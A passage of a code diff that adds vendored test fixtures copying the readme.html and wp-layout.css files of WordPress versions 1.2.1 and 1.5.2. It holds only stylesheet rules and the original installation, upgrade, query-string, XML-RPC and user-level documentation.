||||
padding: 3px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.credit a:link, .credit a:hover {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.feedback {
|
||||
color: #ccc;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.meta {
|
||||
font-size: .75em;
|
||||
}
|
||||
|
||||
.meta li, ul.post-meta li {
|
||||
display: inline;
|
||||
}
|
||||
|
||||
.meta ul {
|
||||
display: inline;
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.meta, .meta a {
|
||||
color: #808080;
|
||||
font-weight: normal;
|
||||
letter-spacing: 0;
|
||||
}
|
||||
|
||||
.storytitle {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.storytitle a {
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
#commentform #name, #commentform #email, #commentform #url, #commentform textarea {
|
||||
background: #fff;
|
||||
border: 1px solid #333;
|
||||
padding: .2em;
|
||||
}
|
||||
|
||||
#commentform textarea {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
#commentlist li ul {
|
||||
border-left: 1px solid #ddd;
|
||||
font-size: 110%;
|
||||
list-style-type: none;
|
||||
}
|
||||
|
||||
#content {
|
||||
margin: 30px 13em 0 3em;
|
||||
padding-right: 60px;
|
||||
}
|
||||
|
||||
#header {
|
||||
background: #90a090;
|
||||
border-bottom: double 3px #aba;
|
||||
border-left: solid 1px #9a9;
|
||||
border-right: solid 1px #565;
|
||||
border-top: solid 1px #9a9;
|
||||
font: italic normal 230% 'Times New Roman', Times, serif;
|
||||
letter-spacing: 0.2em;
|
||||
margin: 0;
|
||||
padding: 15px 10px 15px 60px;
|
||||
}
|
||||
|
||||
#header a {
|
||||
color: #fff;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
#header a:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
#menu {
|
||||
background: #fff;
|
||||
border-left: 1px dotted #ccc;
|
||||
border-top: solid 3px #e0e6e0;
|
||||
padding: 20px 0 10px 30px;
|
||||
position: absolute;
|
||||
right: 2px;
|
||||
top: 0;
|
||||
width: 11em;
|
||||
}
|
||||
|
||||
#menu form {
|
||||
margin: 0 0 0 13px;
|
||||
}
|
||||
|
||||
#menu input#s {
|
||||
width: 80%;
|
||||
background: #eee;
|
||||
border: 1px solid #999;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
#menu ul {
|
||||
color: #ccc;
|
||||
font-weight: bold;
|
||||
list-style-type: none;
|
||||
margin: 0;
|
||||
padding-left: 3px;
|
||||
text-transform: lowercase;
|
||||
}
|
||||
|
||||
#menu ul li {
|
||||
font: italic normal 110% 'Times New Roman', Times, serif;
|
||||
letter-spacing: 0.1em;
|
||||
margin-top: 10px;
|
||||
padding-bottom: 2px; /*border-bottom: dotted 1px #ccc;*/
|
||||
}
|
||||
|
||||
#menu ul ul {
|
||||
font-variant: normal;
|
||||
font-weight: normal;
|
||||
line-height: 100%;
|
||||
list-style-type: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
#menu ul ul li {
|
||||
border: 0;
|
||||
font: normal normal 70%/115% 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
|
||||
letter-spacing: 0;
|
||||
margin-top: 0;
|
||||
padding: 0;
|
||||
padding-left: 12px;
|
||||
}
|
||||
|
||||
#menu ul ul li a {
|
||||
color: #000;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
#menu ul ul li a:hover {
|
||||
border-bottom: 1px solid #809080;
|
||||
}
|
||||
|
||||
#menu ul ul ul.children {
|
||||
font-size: 142%;
|
||||
padding-left: 4px;
|
||||
}
|
||||
|
||||
#wp-calendar {
|
||||
border: 1px solid #ddd;
|
||||
empty-cells: show;
|
||||
font-size: 14px;
|
||||
margin: 0;
|
||||
width: 90%;
|
||||
}
|
||||
|
||||
#wp-calendar #next a {
|
||||
padding-right: 10px;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
#wp-calendar #prev a {
|
||||
padding-left: 10px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
#wp-calendar a {
|
||||
display: block;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
#wp-calendar a:hover {
|
||||
background: #e0e6e0;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
#wp-calendar caption {
|
||||
color: #999;
|
||||
font-size: 16px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
#wp-calendar td {
|
||||
color: #ccc;
|
||||
font: normal 12px 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
|
||||
letter-spacing: normal;
|
||||
padding: 2px 0;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#wp-calendar td.pad:hover {
|
||||
background: #fff;
|
||||
}
|
||||
|
||||
#wp-calendar td:hover, #wp-calendar #today {
|
||||
background: #eee;
|
||||
color: #bbb;
|
||||
}
|
||||
|
||||
#wp-calendar th {
|
||||
font-style: normal;
|
||||
text-transform: capitalize;
|
||||
}
|
||||
160
spec/fixtures/wp_versions/1.2.1/readme.html
vendored
Executable file
160
spec/fixtures/wp_versions/1.2.1/readme.html
vendored
Executable file
@@ -0,0 +1,160 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<title>WordPress › ReadMe</title>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
|
||||
<style type="text/css" media="screen">
|
||||
<!--
|
||||
html {
|
||||
background: #eee;
|
||||
}
|
||||
body {
|
||||
background: #fff;
|
||||
color: #000;
|
||||
font-family: Georgia, "Times New Roman", Times, serif;
|
||||
margin-left: 25%;
|
||||
margin-right: 25%;
|
||||
padding: .2em 2em;
|
||||
}
|
||||
|
||||
h1 {
|
||||
color: #006;
|
||||
font-size: 18px;
|
||||
font-weight: lighter;
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
p, li, dt {
|
||||
line-height: 140%;
|
||||
padding-bottom: 2px;
|
||||
}
|
||||
|
||||
ul, ol {
|
||||
padding: 5px 5px 5px 20px;
|
||||
}
|
||||
-->
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1 style="text-align: center"><img alt="WordPress" src="http://wordpress.org/images/wordpress.gif" /> <br />
|
||||
Version 1.2</h1>
|
||||
<p style="text-align: center"> Semantic Personal Publishing Platform </p>
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right;">— Matt Mullenweg </p>
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://wiki.wordpress.org/">The WordPress Wiki</a></dt>
|
||||
<dd>A wiki is like a web page than anyone can contribute to, and the WordPress wiki documentation has grown rich from the many who have contributed to it. It is usually up-to-date and well-hyperlinked. The only downside is it can be hard to find your way around your first time. Use the search box at the top.</dd>
|
||||
<dt><a href="http://wordpress.org/docs/">The official documentation</a></dt>
|
||||
<dd>The documentation on wordpress.org represents the official resources we've made available. Beyond reference, this includes tutorials and guides for doing different things with WordPress. As I write this, it is a little sparse, but we're doing our best to enrich this resource so by the time you read this sentence the docs may be bursting with information. </dd>
|
||||
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often. </dd>
|
||||
<dt><a href="http://faq.wordpress.net/">Frequently Asked Questions Blog </a></dt>
|
||||
<dd>In addition to the FAQ on the wiki and the main website, there is a new FAQ blog that several members of the documentation team are updating. The FAQ itself is run with WordPress. </dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible. </dd>
|
||||
<dt><a href="http://wiki.wordpress.org/index.php/IRC">WordPress IRC Channel</a></dt>
|
||||
<dd>Finally, there is an online chat channel that is used for discussion amoung people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpresss) </dd>
|
||||
</dl>
|
||||
<h1 id="requirements">System Recomendations </h1>
|
||||
<ul>
|
||||
<li>PHP version <strong>4.1</strong> or higher</li>
|
||||
<li>MySQL version <strong>3.23.23</strong> or higher</li>
|
||||
<li>... and a link to <a href="http://wordpress.org">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
<p>The Apache <code>mod_rewrite</code> is required for some optional functionality. </p>
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>. </p>
|
||||
<h1 id="installation">Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory</li>
|
||||
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details</li>
|
||||
<li>Save the file as <code>wp-config.php</code> </li>
|
||||
<li>Upload everything.</li>
|
||||
<li>Launch <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather. </li>
|
||||
<li><strong>Note the password given to you.</strong></li>
|
||||
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
<h1>Upgrading</h1>
|
||||
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
|
||||
<h2>Upgrading from any previous WordPress to 1.2:</h2>
|
||||
<ol>
|
||||
<li>Upload the new files, and be careful not to overwrite anything important</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a></span></li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
<p>If you are coming from 1.0 or greater, your existing templates should work perfectly. If you are coming from a version earlier than 1.0 you will need to modify your templates slightly. Use the default <code>index.php</code> as your guide. </p>
|
||||
<h1>Upgrading from another system</h1>
|
||||
<p>WordPress can import from a number of systems. First you need to get WordPress installed and working as described above, then you can run one of the following import scripts:</p>
|
||||
<ul>
|
||||
<li> <a href="wp-admin/import-mt.php"> Import Movable Type </a></li>
|
||||
<li><a href="wp-admin/import-rss.php">Import RSS 2.0</a></li>
|
||||
<li><a href="wp-admin/import-blogger.php">Import Blogger</a></li>
|
||||
<li><a href="wp-admin/import-b2.php">Import b2</a></li>
|
||||
<li><a href="wp-admin/import-livejournal.php">Import LiveJournal</a></li>
|
||||
<li><a href="wp-admin/import-textpattern.php">Import Textpattern</a></li>
|
||||
<li><a href="wp-admin/import-greymatter.php">Import Greymatter </a></li>
|
||||
</ul>
|
||||
<h1 id="templates">Templates</h1>
|
||||
<p>The template tags are too numerous and flexible to adequetely document here, so please see our <a href="http://wordpress.org/docs/template/">online documentation</a>. </p>
|
||||
<h1>Query String Usage</h1>
|
||||
<p>WordPress can be manipulated quite a bit through the query string. To pass variables in the querystring, proceed the first variable name with a '?' question mark and every other variables with a '&' sign. You may never use this, but it is useful to know. </p>
|
||||
<p>index.php<strong>?m=200107</strong> will display the month of July 2001.</p>
|
||||
<p>index.php<strong>?m=20010701</strong> will display all posts from July 1st, 2001.</p>
|
||||
<p>index.php<strong>?w=20</strong> will display the posts from the 20th week of the year, where January 1st is in the first week (according to PHP).</p>
|
||||
<p>index.php<strong>?p=50</strong> will display the post labeled #50 in the database.</p>
|
||||
<p>index.php<strong>?s=blue+house</strong> will display the posts that match the search request "blue house".</p>
|
||||
<p>index.php<strong>?cat=1</strong> will display all posts that belong to category #1 (1 is the default). you can add/rename/delete categories from WordPress's interface.</p>
|
||||
<p>index.php<strong>?author=1</strong> will display all posts from the author #1</p>
|
||||
<p>index.php<strong>?p=50&page=1</strong> will display the first page of post #50. this, again, should be used only with <strong>p=</strong>, for individual entries.</p>
|
||||
<p>You can also mix these variables, example: index.php<strong>?m=200107&s=hotdog</strong> will display the posts that match the search request "hotdog", but only in July 2001.</p>
|
||||
<h1 id="xmlrpc">XML-RPC Interface</h1>
|
||||
<p>WordPress has an XMLRPC interface. We currently support the <a href="http://www.blogger.com/developers/api/1_docs/">Blogger API</a>, <a href="http://www.xmlrpc.com/metaWeblogApi">metaWeblog API</a>, and the <a href="http://www.movabletype.org/docs/mtmanual_programmatic.html">MovableType API</a>. </p>
|
||||
<p> The <a href="http://www.blogger.com/developers/api/1_docs/">Blogger API</a> has been completely emulated on WordPress, with some little differences:</p>
|
||||
<ul>
|
||||
<li>using <em>blogger.getRecentPosts</em> with the number 'zero' returns all posts in the blog</li>
|
||||
<li><em>blogger.getTemplate</em> fetches your file $blogfilename (as specified in the config), while <em>blogger.setTemplate</em> overwrites it with the edited data</li>
|
||||
<li><em>blogger.getUsersBlogs</em> is a dummy function that returns '1' and $blogname, since WordPress supports only one blog as of now</li>
|
||||
</ul>
|
||||
<p>If you use blogger.newPost, your post is submitted without title and in category #1.</p>
|
||||
<p> However, you can type <code><title>my title</title></code> and/or <code><category>2<category></code> in the body of your post to make its title be 'my title' and its category be #2 (refer to your categories section to find out the ID numbers of the categories). b2 would then delete that extra info from the body of your post once it is posted.</p>
|
||||
<p>The <a href="http://www.xmlrpc.com/metaWeblogApi">metaWeblog</a> and <a href="http://www.movabletype.org/docs/mtmanual_programmatic.html">MovableType</a> APIs are currently supported with the following exceptions:</p>
|
||||
<ul>
|
||||
<li>metaWeblog.newMediaObject, mt.getRecentPostTitles, and mt.getTrackbackPings are not yet implemented</li>
|
||||
<li>mt.supportedTextFilters is a dummy stub function that returns an empty string</li>
|
||||
<li>keywords are not supported in the MovableType API</li>
|
||||
</ul>
|
||||
<p>Extended entries in the <a href="http://www.movabletype.org/docs/mtmanual_programmatic.html">MovableType API</a> are automatically converted to/from the WordPress <code><!--more--></code> tag.</p>
|
||||
<p>You can now post to your WordPress blog with tools like <a href="http://blogbuddy.sourceforge.net">BlogBuddy</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://www.ubique.ch/wapblogger/">WapBlogger</a> (post from your Wap cellphone!), <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.zempt.com/">Zempt</a>, <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :)</p>
|
||||
<p>Your XMLRPC server/path are as described here: if you login to WordPress on <code>http://example.com/me/wp-login.php</code>, then you have:</p>
|
||||
<ul>
|
||||
<li>Server: <code>http://example.com/</code> (some tools will just want the 'example.com' hostname part)</li>
|
||||
<li>Path: <code>/me/xmlrpc.php</code></li>
|
||||
<li>complete URL (just in case): <code>http://example.com/me/xmlrpc.php</code></li>
|
||||
</ul>
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL. </p>
|
||||
<p> Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address dicrete. The script will <i>delete</i> emails that are successfully posted. </p>
|
||||
<h1 id="notes">User Levels </h1>
|
||||
<p>You may allow or disallow user registration in your <a href="wp-admin/options-general.php">General options</a>. If "new users can blog" is disabled you must first raise the level of a newly registered user to allow them to post. Click the plus sign next to their name on the <a href="wp-admin/users.php">Users</a> page. </p>
|
||||
<h2>User Levels</h2>
|
||||
<ul>
|
||||
<li>0 - New User </li>
|
||||
<li>1 - User can post, edit, and delete their own posts.</li>
|
||||
<li>5+ - Admin; can post, edit, delete other people's posts, and change the options.</li>
|
||||
<li>Any user whose level is higher than 1, can edit and delete the posts and change the level of lower users. Example: a level 2 user is not an admin, but can edit the posts of level 1 users, and up the level of a new user from 0 to 1.</li>
|
||||
</ul>
|
||||
<p>Usually you want to have a team of level 1 users except for you.</p>
|
||||
<h1> Final notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a></li>
|
||||
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the documentation in the wiki. In most all cases you shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
<h1>Copyright</h1>
|
||||
<p>WordPress is released under the <acronym title="GNU Public License">GPL</acronym> (see <a href="license.txt">license.txt</a>).</p>
|
||||
</body>
|
||||
</html>
|
||||
303
spec/fixtures/wp_versions/1.2.1/wp-layout.css
vendored
Executable file
303
spec/fixtures/wp_versions/1.2.1/wp-layout.css
vendored
Executable file
@@ -0,0 +1,303 @@
|
||||
/* Default WordPress by Dave Shea || http://mezzoblue.com
|
||||
Modifications by Matthew Mullenweg || http://photomatt.net
|
||||
This is just a basic layout, with only the bare minimum defined.
|
||||
Please tweak this and make it your own. :)
|
||||
*/
|
||||
|
||||
a {
|
||||
color: #675;
|
||||
}
|
||||
|
||||
a img {
|
||||
border: none;
|
||||
}
|
||||
|
||||
a:visited {
|
||||
color: #342;
|
||||
}
|
||||
|
||||
a:hover {
|
||||
color: #9a8;
|
||||
}
|
||||
|
||||
acronym, abbr {
|
||||
border-bottom: 1px dashed #333;
|
||||
}
|
||||
|
||||
acronym, abbr, span.caps {
|
||||
cursor: help;
|
||||
font-size: 90%;
|
||||
letter-spacing: .07em;
|
||||
}
|
||||
|
||||
blockquote {
|
||||
border-left: 5px solid #ccc;
|
||||
margin-left: 1.5em;
|
||||
padding-left: 5px;
|
||||
}
|
||||
|
||||
body {
|
||||
background: #fff;
|
||||
border: solid 2px #565;
|
||||
border-bottom: solid 1px #565;
|
||||
border-top: solid 3px #565;
|
||||
color: #000;
|
||||
font-family: 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
cite {
|
||||
font-size: 90%;
|
||||
font-style: normal;
|
||||
}
|
||||
|
||||
h2 {
|
||||
border-bottom: 1px dotted #ccc;
|
||||
font: 95% "Times New Roman", Times, serif;
|
||||
letter-spacing: 0.2em;
|
||||
margin: 15px 0 2px 0;
|
||||
padding-bottom: 2px;
|
||||
}
|
||||
|
||||
h3 {
|
||||
border-bottom: dotted 1px #eee;
|
||||
font-family: "Times New Roman", Times, serif;
|
||||
margin-top: 0;
|
||||
}
|
||||
|
||||
ol#comments li p {
|
||||
font-size: 100%;
|
||||
}
|
||||
|
||||
p, li, .feedback {
|
||||
font: 90%/175% 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
|
||||
letter-spacing: -1px;
|
||||
}
|
||||
|
||||
/* classes used by the_meta() */
|
||||
ul.post-meta {
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
ul.post-meta span.post-meta-key {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.credit {
|
||||
background: #90a090;
|
||||
border-top: double 3px #aba;
|
||||
color: #fff;
|
||||
font-size: 11px;
|
||||
margin: 10px 0 0 0;
|
||||
padding: 3px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.credit a:link, .credit a:hover {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.feedback {
|
||||
color: #ccc;
|
||||
text-align: right;
|
||||
clear: all;
|
||||
}
|
||||
|
||||
.meta {
|
||||
font-size: .75em;
|
||||
}
|
||||
|
||||
.meta li, ul.post-meta li {
|
||||
display: inline;
|
||||
}
|
||||
|
||||
.meta ul {
|
||||
display: inline;
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.meta, .meta a {
|
||||
color: #808080;
|
||||
font-weight: normal;
|
||||
letter-spacing: 0;
|
||||
}
|
||||
|
||||
.storytitle {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.storytitle a {
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
#commentform #name, #commentform #email, #commentform #url, #commentform textarea {
|
||||
background: #fff;
|
||||
border: 1px solid #333;
|
||||
padding: .2em;
|
||||
}
|
||||
|
||||
#commentform textarea {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
#commentlist li ul {
|
||||
border-left: 1px solid #ddd;
|
||||
font-size: 110%;
|
||||
list-style-type: none;
|
||||
}
|
||||
|
||||
#content {
|
||||
margin: 30px 13em 0 3em;
|
||||
padding-right: 60px;
|
||||
}
|
||||
|
||||
#header {
|
||||
background: #90a090;
|
||||
border-bottom: double 3px #aba;
|
||||
border-left: solid 1px #9a9;
|
||||
border-right: solid 1px #565;
|
||||
border-top: solid 1px #9a9;
|
||||
font: italic normal 230% 'Times New Roman', Times, serif;
|
||||
letter-spacing: 0.2em;
|
||||
margin: 0;
|
||||
padding: 15px 10px 15px 60px;
|
||||
}
|
||||
|
||||
#header a {
|
||||
color: #fff;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
#header a:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
#menu {
|
||||
background: #fff;
|
||||
border-left: 1px dotted #ccc;
|
||||
border-top: solid 3px #e0e6e0;
|
||||
padding: 20px 0 10px 30px;
|
||||
position: absolute;
|
||||
right: 2px;
|
||||
top: 0;
|
||||
width: 11em;
|
||||
}
|
||||
|
||||
#menu form {
|
||||
margin: 0 0 0 13px;
|
||||
}
|
||||
|
||||
#menu input#s {
|
||||
width: 80%;
|
||||
background: #eee;
|
||||
border: 1px solid #999;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
#menu ul {
|
||||
color: #ccc;
|
||||
font-weight: bold;
|
||||
list-style-type: none;
|
||||
margin: 0;
|
||||
padding-left: 3px;
|
||||
text-transform: lowercase;
|
||||
}
|
||||
|
||||
#menu ul li {
|
||||
font: italic normal 110% 'Times New Roman', Times, serif;
|
||||
letter-spacing: 0.1em;
|
||||
margin-top: 10px;
|
||||
padding-bottom: 2px; /*border-bottom: dotted 1px #ccc;*/
|
||||
}
|
||||
|
||||
#menu ul ul {
|
||||
font-variant: normal;
|
||||
font-weight: normal;
|
||||
line-height: 100%;
|
||||
list-style-type: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
#menu ul ul li {
|
||||
border: 0;
|
||||
font: normal normal 70%/115% 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
|
||||
letter-spacing: 0;
|
||||
margin-top: 0;
|
||||
padding: 0;
|
||||
padding-left: 12px;
|
||||
}
|
||||
|
||||
#menu ul ul li a {
|
||||
color: #000;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
#menu ul ul li a:hover {
|
||||
border-bottom: 1px solid #809080;
|
||||
}
|
||||
|
||||
#menu ul ul ul.children {
|
||||
font-size: 142%;
|
||||
padding-left: 4px;
|
||||
}
|
||||
|
||||
#wp-calendar {
|
||||
border: 1px solid #ddd;
|
||||
empty-cells: show;
|
||||
font-size: 14px;
|
||||
margin: 0;
|
||||
width: 90%;
|
||||
}
|
||||
|
||||
#wp-calendar #next a {
|
||||
padding-right: 10px;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
#wp-calendar #prev a {
|
||||
padding-left: 10px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
#wp-calendar a {
|
||||
display: block;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
#wp-calendar a:hover {
|
||||
background: #e0e6e0;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
#wp-calendar caption {
|
||||
color: #999;
|
||||
font-size: 16px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
#wp-calendar td {
|
||||
color: #ccc;
|
||||
font: normal 12px 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
|
||||
letter-spacing: normal;
|
||||
padding: 2px 0;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#wp-calendar td.pad:hover {
|
||||
background: #fff;
|
||||
}
|
||||
|
||||
#wp-calendar td:hover, #wp-calendar #today {
|
||||
background: #eee;
|
||||
color: #bbb;
|
||||
}
|
||||
|
||||
#wp-calendar th {
|
||||
font-style: normal;
|
||||
text-transform: capitalize;
|
||||
}
|
||||
126
spec/fixtures/wp_versions/1.5.2/readme.html
vendored
Executable file
126
spec/fixtures/wp_versions/1.5.2/readme.html
vendored
Executable file
@@ -0,0 +1,126 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<title>WordPress › ReadMe</title>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<style type="text/css" media="screen">
|
||||
<!--
|
||||
html {
|
||||
background: #eee;
|
||||
}
|
||||
body {
|
||||
background: #fff;
|
||||
color: #000;
|
||||
font-family: Georgia, "Times New Roman", Times, serif;
|
||||
margin-left: 25%;
|
||||
margin-right: 25%;
|
||||
padding: .2em 2em;
|
||||
}
|
||||
|
||||
h1 {
|
||||
color: #006;
|
||||
font-size: 18px;
|
||||
font-weight: lighter;
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
p, li, dt {
|
||||
line-height: 140%;
|
||||
padding-bottom: 2px;
|
||||
}
|
||||
|
||||
ul, ol {
|
||||
padding: 5px 5px 5px 20px;
|
||||
}
|
||||
-->
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1 style="text-align: center"><img alt="WordPress" src="http://wordpress.org/images/wordpress.gif" /> <br />
|
||||
Version 1.5</h1>
|
||||
<p style="text-align: center"> Semantic Personal Publishing Platform </p>
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right;">— Matt Mullenweg </p>
|
||||
|
||||
<h1 id="installation">Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory</li>
|
||||
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details</li>
|
||||
<li>Save the file as <code>wp-config.php</code> </li>
|
||||
<li>Upload everything.</li>
|
||||
<li>Launch <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather. </li>
|
||||
<li><strong>Note the password given to you.</strong></li>
|
||||
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
|
||||
<h1>Upgrading</h1>
|
||||
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
|
||||
<h2>Upgrading from any previous WordPress to 1.5:</h2>
|
||||
<ol>
|
||||
<li>Delete your old WP files, saving ones you've modified </li>
|
||||
<li>Upload the new files</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a></span></li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
<h2>Template Changes</h2>
|
||||
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available. </dd>
|
||||
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often. </dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web. </dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible. </dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
|
||||
<dd>Finally, there is an online chat channel that is used for discussion amoung people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpresss) </dd>
|
||||
</dl>
|
||||
|
||||
<h1 id="requirements">System Recommendations</h1>
|
||||
<ul>
|
||||
<li>PHP version <strong>4.1</strong> or higher</li>
|
||||
